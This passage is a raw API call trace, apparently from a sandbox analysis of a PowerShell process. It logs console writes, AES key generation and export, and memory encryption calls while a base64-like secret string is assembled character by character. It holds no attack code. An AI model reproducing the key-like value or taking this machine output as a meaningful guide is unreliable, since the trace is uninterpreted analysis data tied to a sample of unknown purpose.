lpNumberOfCharsWritten=0x5a2e684*=0x4f) returned 1 [0189.433] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e690 | out: lpMode=0x5a2e690) returned 1 [0189.434] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x230e700*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e684, lpReserved=0x0 | out: lpBuffer=0x230e700*, lpNumberOfCharsWritten=0x5a2e684*=0x2) returned 1 [0189.434] GetConsoleOutputCP () returned 0x1b5 [0189.434] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0189.434] GetConsoleOutputCP () returned 0x1b5 [0189.434] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0189.434] GetConsoleOutputCP () returned 0x1b5 [0189.435] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0189.435] GetConsoleOutputCP () returned 0x1b5 [0189.435] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0189.435] GetConsoleOutputCP () returned 0x1b5 [0189.435] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0189.435] GetConsoleOutputCP () returned 0x1b5 [0189.435] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0189.435] GetConsoleOutputCP () returned 0x1b5 [0189.435] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0189.436] GetConsoleOutputCP () returned 0x1b5 [0189.436] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0189.436] GetConsoleOutputCP () returned 0x1b5 [0189.436] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0189.436] GetConsoleOutputCP () returned 0x1b5 [0189.436] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0189.436] GetConsoleOutputCP () returned 0x1b5 [0189.436] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0189.437] GetConsoleOutputCP () returned 0x1b5 [0189.437] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0189.437] GetConsoleOutputCP () returned 0x1b5 [0189.437] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0189.437] GetConsoleOutputCP () returned 0x1b5 [0189.437] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0189.437] GetConsoleOutputCP () returned 0x1b5 [0189.438] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0189.438] GetConsoleOutputCP () returned 0x1b5 [0189.438] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0189.438] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6cc | out: lpConsoleScreenBufferInfo=0x5a2e6cc) returned 1 [0189.438] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0189.439] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2369544*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x2369544*, lpNumberOfCharsWritten=0x5a2e6b8*=0x4f) returned 1 [0189.439] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0189.440] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x230e700*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x230e700*, lpNumberOfCharsWritten=0x5a2e6b8*=0x2) returned 1 [0189.441] EtwEventActivityIdControl () returned 0x0 [0189.441] EtwEventActivityIdControl () returned 0x0 [0189.441] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2eb1c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.442] EtwEventActivityIdControl () returned 0x0 [0189.442] EtwEventActivityIdControl () returned 0x0 [0189.442] EtwEventActivityIdControl () returned 0x0 [0189.444] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e774, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.444] EtwEventActivityIdControl () returned 0x0 [0189.444] EtwEventActivityIdControl () returned 0x0 [0189.445] EtwEventActivityIdControl () returned 0x0 [0189.447] CryptAcquireContextW (in: phProv=0x5a2e370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e370*=0x373568) returned 1 [0189.448] CryptGenKey (in: hProv=0x373568, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e7b0 | out: phKey=0x5a2e7b0*=0x5c68d40) returned 1 [0189.448] CryptContextAddRef (hProv=0x373568, pdwReserved=0x0, dwFlags=0x0) returned 1 [0189.448] CryptExportKey (in: hKey=0x5c68d40, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e79c | out: pbData=0x0*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0189.448] CryptExportKey (in: hKey=0x5c68d40, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2371404, pdwDataLen=0x5a2e79c | out: pbData=0x2371404*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0189.449] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e368, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.449] EtwEventActivityIdControl () returned 0x0 [0189.450] EtwEventActivityIdControl () returned 0x0 [0189.450] EtwEventActivityIdControl () returned 0x0 [0189.450] SysStringLen (param_1="") returned 0x8 [0189.450] SysStringLen (param_1="q") returned 0x8 [0189.450] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.450] SysStringLen (param_1="㒋㌕톭췓榱瓀踨뫫") returned 0x8 [0189.450] SysStringLen (param_1="㒋㌕톭췓榱瓀踨뫫") returned 0x8 [0189.451] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.451] SysStringLen (param_1="qB") returned 0x8 [0189.451] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.451] SysStringLen (param_1="啈緉蓈㍔预壌ꜹ") returned 0x8 [0189.451] SysStringLen (param_1="啈緉蓈㍔预壌ꜹ") returned 0x8 [0189.451] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.451] SysStringLen (param_1="qBe") returned 0x8 [0189.451] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.451] SysStringLen (param_1="෤搑？\蓜벍≣) returned 0x8 [0189.451] SysStringLen (param_1="෤搑？\蓜벍≣) returned 0x8 [0189.451] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.451] SysStringLen (param_1="qBe+") returned 0x8 [0189.451] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.452] SysStringLen (param_1="ᘕ땿ꕛᗷ＜튦⋳") returned 0x8 [0189.452] SysStringLen (param_1="ᘕ땿ꕛᗷ＜튦⋳") returned 0x8 [0189.452] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.452] SysStringLen (param_1="qBe+Q") returned 0x8 [0189.452] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.452] SysStringLen (param_1="ࣾꨚ돬뒮揢꜋̧⋈") returned 0x8 [0189.452] SysStringLen (param_1="ࣾꨚ돬뒮揢꜋̧⋈") returned 0x8 [0189.452] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.452] SysStringLen (param_1="qBe+QA") returned 0x8 [0189.452] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.452] SysStringLen (param_1="輻䆄䯯臼㔮惛") returned 0x8 [0189.452] SysStringLen (param_1="輻䆄䯯臼㔮惛") returned 0x8 [0189.452] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.453] SysStringLen (param_1="qBe+QA5") returned 0x8 [0189.453] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.453] SysStringLen (param_1="裚ꊟ䂧긻藞릻") returned 0x8 [0189.453] SysStringLen (param_1="裚ꊟ䂧긻藞릻") returned 0x8 [0189.453] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.453] SysStringLen (param_1="qBe+QA5F") returned 0x8 [0189.453] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.453] SysStringLen (param_1="縴㈻㉝棃弎皠쌖") returned 0x8 [0189.454] SysStringLen (param_1="縴㈻㉝棃弎皠쌖") returned 0x8 [0189.454] SysStringLen (param_1="縴㈻㉝棃弎皠쌖") returned 0x8 [0189.454] SysStringLen (param_1="縴㈻㉝棃弎皠쌖") returned 0x10 [0189.454] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.454] SysStringLen (param_1="qBe+QA5Fvમ䔴툍퓡䈂דอ") returned 0x10 [0189.454] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.454] SysStringLen (param_1="縴㈻㉝棃弎皠쌖궱炪龌各꺊Ⱶ挘㑤") returned 0x10 [0189.454] SysStringLen (param_1="縴㈻㉝棃弎皠쌖궱炪龌各꺊Ⱶ挘㑤") returned 0x10 [0189.454] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.454] SysStringLen (param_1="qBe+QA5Fvh䔴툍퓡䈂דอ") returned 0x10 [0189.455] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.455] SysStringLen (param_1="縴㈻㉝棃弎皠쌖椝ꁾ뛼걿喳닎") returned 0x10 [0189.455] SysStringLen (param_1="縴㈻㉝棃弎皠쌖椝ꁾ뛼걿喳닎") returned 0x10 [0189.455] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.455] SysStringLen (param_1="qBe+QA5FvhK툍퓡䈂דอ") returned 0x10 [0189.455] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.455] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉶䄛뼱騠樕蝉늰㗈") returned 0x10 [0189.455] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉶䄛뼱騠樕蝉늰㗈") returned 0x10 [0189.455] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.467] SysStringLen (param_1="qBe+QA5FvhKC퓡䈂דอ") returned 0x10 [0189.467] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.468] SysStringLen (param_1="縴㈻㉝棃弎皠쌖ᆅ㏼噿톽ℜﵕ") returned 0x10 [0189.468] SysStringLen (param_1="縴㈻㉝棃弎皠쌖ᆅ㏼噿톽ℜﵕ") returned 0x10 [0189.468] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.468] SysStringLen (param_1="qBe+QA5FvhKCP䈂דอ") returned 0x10 [0189.468] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.468] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鸛뾍饼┦뵚诌껟ᭌ") returned 0x10 [0189.468] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鸛뾍饼┦뵚诌껟ᭌ") returned 0x10 [0189.469] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.469] SysStringLen (param_1="qBe+QA5FvhKCPfדอ") returned 0x10 [0189.469] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.469] SysStringLen (param_1="縴㈻㉝棃弎皠쌖孳뚧运㴾歗梣\x84ꦧ") returned 0x10 [0189.469] SysStringLen (param_1="縴㈻㉝棃弎皠쌖孳뚧运㴾歗梣\x84ꦧ") returned 0x10 [0189.469] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.469] SysStringLen (param_1="qBe+QA5FvhKCPf9อ") returned 0x10 [0189.469] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.469] SysStringLen (param_1="縴㈻㉝棃弎皠쌖䆑࿝뎫㣻埗賾ᐆ疳") returned 0x10 [0189.469] SysStringLen (param_1="縴㈻㉝棃弎皠쌖䆑࿝뎫㣻埗賾ᐆ疳") returned 0x10 [0189.469] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.469] SysStringLen (param_1="qBe+QA5FvhKCPf9k") returned 0x10 [0189.469] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.470] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤") returned 0x10 [0189.470] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤") returned 0x10 [0189.470] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤") returned 0x10 [0189.470] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤") returned 0x18 [0189.470] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.470] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ份뗲缾鱅ថ笌仟") returned 0x18 [0189.470] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.470] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤嫡䅕肃맩孩龝Һ㛮") returned 0x18 [0189.471] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤嫡䅕肃맩孩龝Һ㛮") returned 0x18 [0189.471] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.471] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ7뗲缾鱅ថ笌仟") returned 0x18 [0189.471] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.471] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤刻䈖뎤⩚髛ꏷ俇턧") returned 0x18 [0189.471] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤刻䈖뎤⩚髛ꏷ俇턧") returned 0x18 [0189.471] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.475] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ7c缾鱅ថ笌仟") returned 0x18 [0189.475] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.475] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤ꕔ觼ꂜ㸭鯢ᢂﯨ띱") returned 0x18 [0189.475] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤ꕔ觼ꂜ㸭鯢ᢂﯨ띱") returned 0x18 [0189.475] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.476] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ7c7鱅ថ笌仟") returned 0x18 [0189.476] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.476] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤犸땗﨓嶐⁂觛騎儅") returned 0x18 [0189.476] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤犸땗﨓嶐⁂觛騎儅") returned 0x18 [0189.476] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.476] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ7c7Hថ笌仟") returned 0x18 [0189.476] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.476] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤ꡫ其엍眘䭀垽吃") returned 0x18 [0189.476] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤ꡫ其엍眘䭀垽吃") returned 0x18 [0189.476] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.477] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ7c7Hp笌仟") returned 0x18 [0189.477] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.477] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤컘蕏\㏞ล矧ᷟ≑) returned 0x18 [0189.477] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤컘蕏\㏞ล矧ᷟ≑) returned 0x18 [0189.477] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.477] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ7c7HpQ仟") returned 0x18 [0189.477] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.477] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤㇦បᘥ櫼ᨂ짫뢾") returned 0x18 [0189.477] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤㇦បᘥ櫼ᨂ짫뢾") returned 0x18 [0189.477] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.478] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ7c7HpQl") returned 0x18 [0189.478] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.478] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾") returned 0x18 [0189.478] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾") returned 0x18 [0189.478] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾") returned 0x18 [0189.478] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾") returned 0x20 [0189.478] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.479] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ7c7HpQla䛧\ⷝ跩૾䕺≜) returned 0x20 [0189.479] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.479] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾蟟蜼샌㷓䔖硂勒") returned 0x20 [0189.479] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾蟟蜼샌㷓䔖硂勒") returned 0x20 [0189.479] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.479] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ7c7HpQlaD\ⷝ跩૾䕺≜) returned 0x20 [0189.479] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.479] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ꃢݤᶡ됷癡ვ␂") returned 0x20 [0189.479] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ꃢݤᶡ됷癡ვ␂") returned 0x20 [0189.479] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.479] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ7c7HpQlaDHﺍ턊竣居") returned 0x20 [0189.480] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.480] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾壕䍻蠭涳麟뤟〣⸒") returned 0x20 [0189.480] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾壕䍻蠭涳麟뤟〣⸒") returned 0x20 [0189.480] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.480] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ7c7HpQlaDHTﺍ턊竣居") returned 0x20 [0189.480] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.480] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾࿐焯䉔뤯㒎러裸᪣") returned 0x20 [0189.480] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾࿐焯䉔뤯㒎러裸᪣") returned 0x20 [0189.480] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.480] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ7c7HpQlaDHTX턊竣居") returned 0x20 [0189.480] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.481] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾蟸툑䭀窦餀ꅮጫ厮") returned 0x20 [0189.481] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾蟸툑䭀窦餀ꅮጫ厮") returned 0x20 [0189.481] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.481] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ7c7HpQlaDHTXu竣居") returned 0x20 [0189.481] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.481] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾⤣ᣪ㝯⧛똔\ⓜ썓⋏) returned 0x20 [0189.481] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾⤣ᣪ㝯⧛똔\ⓜ썓⋏) returned 0x20 [0189.481] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.481] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ7c7HpQlaDHTXum居") returned 0x20 [0189.481] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.482] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾곺劊綍乲ꗷꛖ蒁鍇") returned 0x20 [0189.482] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾곺劊綍乲ꗷꛖ蒁鍇") returned 0x20 [0189.482] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.482] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ7c7HpQlaDHTXumI") returned 0x20 [0189.482] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.482] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩ") returned 0x20 [0189.482] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩ") returned 0x20 [0189.482] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩ") returned 0x20 [0189.482] 